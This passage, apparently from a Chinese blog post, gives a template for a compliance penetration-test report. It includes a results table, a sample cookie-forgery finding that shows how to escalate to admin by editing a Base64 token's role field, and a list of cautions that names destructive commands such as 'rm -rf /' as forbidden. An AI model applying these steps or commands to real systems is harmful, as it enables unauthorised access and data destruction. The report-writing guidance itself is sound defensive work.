    2客服系统https://xxxxxxxx-csm.xxx企业域名/FLoginNew.aspx443用户名枚举、HTML注入、CSRF
    3Webservice接口http://service.xxx企业域名:9999/ServiceSupport/9999未授权访问、SQL注入、敏感文件泄漏
  • 测试依据:《GB/T 22239-2019》《GB/T 28448-2019》;
  • 测试方法:黑盒测试+灰盒测试,全量覆盖27项测试项目(清单见附录);
  • 测试时间:202X年X月X日-X月X日。
3.2.2 模块2:测试结果汇总(全量项目统计)

用表格直观展示“所有测试项目的结果”,含“存在、不存在、不适用”三类状态。模板如下:

测试维度测试项目涉及系统测试结果(存在/不存在/不适用)发现漏洞数
身份鉴别测试弱口令/空口令CSM管理端存在1
用户名枚举Portal系统存在1
万能账号/口令全系统不存在0
登录绕过全系统不存在0
密码重置Portal系统存在1
图形验证爆破CSM管理端存在1
短信轰炸/爆破全系统不适用(无短信功能)0
访问控制测试未授权访问Webservice、上门设计存在2
垂直/水平越权访问全系统不存在0
Cookie伪造/绕过Portal系统存在1
入侵防范测试SQL注入Webservice存在1
XSS跨站脚本3C客服系统存在1
任意文件上传/下载/读取应急系统存在1
文件包含全系统不适用(无文件包含功能)0
SSRF企业号系统存在1
URL跳转全系统不存在0
XML外部实体注入Api系统存在1
HTML注入3C客服系统存在1
HTTP HOST头攻击全系统不存在0
CSRF全系统不适用(无关键操作接口)0
数据保密测试敏感文件泄漏Webservice存在1
敏感信息泄漏CSM管理端存在1
旧版本接口遗留Api系统存在1
其他漏洞测试远程命令执行全系统不适用(无命令执行功能)0
组件和框架漏洞应急系统存在(Log4j漏洞)1
合计27项--13项
3.2.3 模块3:漏洞详情(全量漏洞记录)

每个漏洞需包含“8个关键信息”,确保覆盖所有发现的漏洞。以“Cookie伪造/绕过”为例,模板如下:

漏洞信息项内容描述
漏洞名称Portal系统Cookie伪造/绕过漏洞
漏洞编号VULN-202X-008
涉及系统Portal系统(https://service.xxx企业域名/FLoginNew.aspx)
漏洞位置Cookie字段(user=USER001; role=user; token=TOKEN-XXXX
风险等级中风险
漏洞说明系统Cookie未加密且无时效性校验,攻击者可通过修改role字段为admin,伪造管理员Cookie,访问管理员数据统计页面(/admin/stat.html)。
测试过程1. 登录用户testuser01,记录Cookie:user=USER001; role=user; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
2. 用Base64解码token,发现含明文{"user":"testuser01","role":"user"}
3. 修改roleadmin,重新编码token,手动添加Cookie;
4. 访问/admin/stat.html,成功查看管理员数据(无需登录)。
整改建议1. 对Cookie进行加密(如AES加密),避免明文篡改;
2. 为token添加时效性(如30分钟过期),过期后需重新登录;
3. 服务器端校验Cookie合法性,对比用户实际权限与Cookierole字段。
漏洞截图截图1:登录后Cookie详情;
截图2:伪造Cookie后访问管理员页面的截图。
3.2.4 模块4:不适用项目说明(关键补充)

需明确“不适用”项目的原因,避免测评机构质疑测试完整性。模板如下:

测试项目不适用原因验证过程
短信轰炸/爆破全系统无“短信验证码”“短信通知”功能,所有验证均通过图形验证码或企业内部邮箱完成(如user@xxx企业域名)。检查登录、注册、密码重置功能,未发现短信相关接口;查看系统文档,确认无短信模块。
文件包含全系统采用Java/Spring Boot框架,无PHP等支持文件包含的脚本语言,且无include类接口。爬取所有接口,未发现fileinclude等参数;反编译Jar包,未发现文件包含相关代码。
CSRF系统关键操作(如修改密码、添加用户)均需输入“原密码”或“验证码”,无仅依赖Cookie的操作,CSRF攻击无法触发。测试“修改密码”接口,发现需提交oldPwd参数,仅伪造Cookie无法完成操作,CSRF攻击无效。

4. 实战注意事项(全流程避坑)

  1. 全量测试不遗漏:严格按27项测试项目执行,即使某项目“不适用”,也需记录原因并验证(如“短信轰炸”需确认系统无短信功能);
  2. 测试前获授权:签订《渗透测试授权书》,明确测试范围、时间、免责条款,禁止测试未授权系统;
  3. 数据安全保护:测试中获取的敏感数据(如用户账号、工单信息)需加密存储,测试后删除,不得泄露;
  4. 避免破坏系统:禁止执行drop tablerm -rf /等破坏性操作;测试文件上传时,避免上传大文件占用磁盘;
  5. 漏洞验证严谨:发现疑似漏洞后,需多次验证(如换账号、换时间段),避免因网络波动、临时配置导致误判。

总结

等保测评渗透测试的核心是“全量覆盖、精准测试、规范记录”——需严格覆盖27项测试项目,不遗漏任何潜在风险点;测试方法需结合工具与实战经验,确保漏洞无遗漏;报告需清晰记录“全量测试结果、漏洞细节、整改方案”,为等保测评通过提供关键依据。

需注意的是,渗透测试不是“一次性任务”,而是企业安全建设的起点。通过全量测试发现漏洞、整改漏洞,最终建立“测试-整改-监控-优化”的安全闭环,才能真正满足等保合规要求,保障系统长期安全稳定运行。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

晓翔仔

星光很亮,我们永远胸怀梦想

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值